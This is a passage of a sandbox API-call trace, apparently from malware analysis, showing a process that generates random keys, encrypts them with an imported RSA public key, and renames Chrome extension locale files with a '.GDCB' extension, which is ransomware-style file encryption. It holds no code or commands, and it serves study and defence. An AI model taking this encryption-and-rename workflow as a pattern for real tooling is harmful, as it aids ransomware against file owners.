pbBuffer=0x285ce48) returned 1 [0275.857] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.857] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.859] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c220) returned 1 [0275.859] CryptGetKeyParam (in: hKey=0x678c220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.859] CryptEncrypt (in: hKey=0x678c220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.860] GetLastError () returned 0x0 [0275.860] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.860] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.862] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c820) returned 1 [0275.862] CryptGetKeyParam (in: hKey=0x678c820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.862] CryptEncrypt (in: hKey=0x678c820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.862] GetLastError () returned 0x0 [0275.862] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.862] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.863] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.866] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.869] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xf2, lpOverlapped=0x0) returned 1 [0275.877] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.884] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0275.890] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.895] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.896] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.900] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.900] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.901] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0275.903] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c1a0) returned 1 [0275.903] CryptGetKeyParam (in: hKey=0x678c1a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.903] CryptEncrypt (in: hKey=0x678c1a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.903] GetLastError () returned 0x0 [0275.903] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.904] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.905] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c3a0) returned 1 [0275.906] CryptGetKeyParam (in: hKey=0x678c3a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.906] CryptEncrypt (in: hKey=0x678c3a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.906] GetLastError () returned 0x0 [0275.906] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.906] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.907] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.910] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.913] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x100, lpOverlapped=0x0) returned 1 [0275.921] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.929] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0275.934] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.939] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.939] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.943] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.945] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.945] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.945] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.948] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c2a0) returned 1 [0275.948] CryptGetKeyParam (in: hKey=0x678c2a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.948] CryptEncrypt (in: hKey=0x678c2a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.948] GetLastError () returned 0x0 [0275.948] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.948] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.950] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c860) returned 1 [0275.950] CryptGetKeyParam (in: hKey=0x678c860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.950] CryptEncrypt (in: hKey=0x678c860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.950] GetLastError () returned 0x0 [0275.950] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.952] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.955] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.958] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x10f, lpOverlapped=0x0) returned 1 [0275.966] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.974] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0275.979] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.982] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.985] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.985] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.990] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.990] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.990] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.991] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.993] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c520) returned 1 [0275.993] CryptGetKeyParam (in: hKey=0x678c520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.993] CryptEncrypt (in: hKey=0x678c520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.993] GetLastError () returned 0x0 [0275.993] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.993] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c2e0) returned 1 [0275.995] CryptGetKeyParam (in: hKey=0x678c2e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.995] CryptEncrypt (in: hKey=0x678c2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.995] GetLastError () returned 0x0 [0275.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.995] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.997] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.000] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.002] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x100, lpOverlapped=0x0) returned 1 [0276.011] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.017] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0276.023] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0276.026] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.029] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.029] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.029] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0276.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.034] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.034] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.034] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.037] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c3e0) returned 1 [0276.037] CryptGetKeyParam (in: hKey=0x678c3e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.037] CryptEncrypt (in: hKey=0x678c3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.037] GetLastError () returned 0x0 [0276.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.037] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.039] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c660) returned 1 [0276.039] CryptGetKeyParam (in: hKey=0x678c660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.039] CryptEncrypt (in: hKey=0x678c660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.040] GetLastError () returned 0x0 [0276.040] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.040] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.041] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.044] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.046] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xfd, lpOverlapped=0x0) returned 1 [0276.055] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.061] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0276.068] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.073] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.073] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.073] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.076] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.078] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: 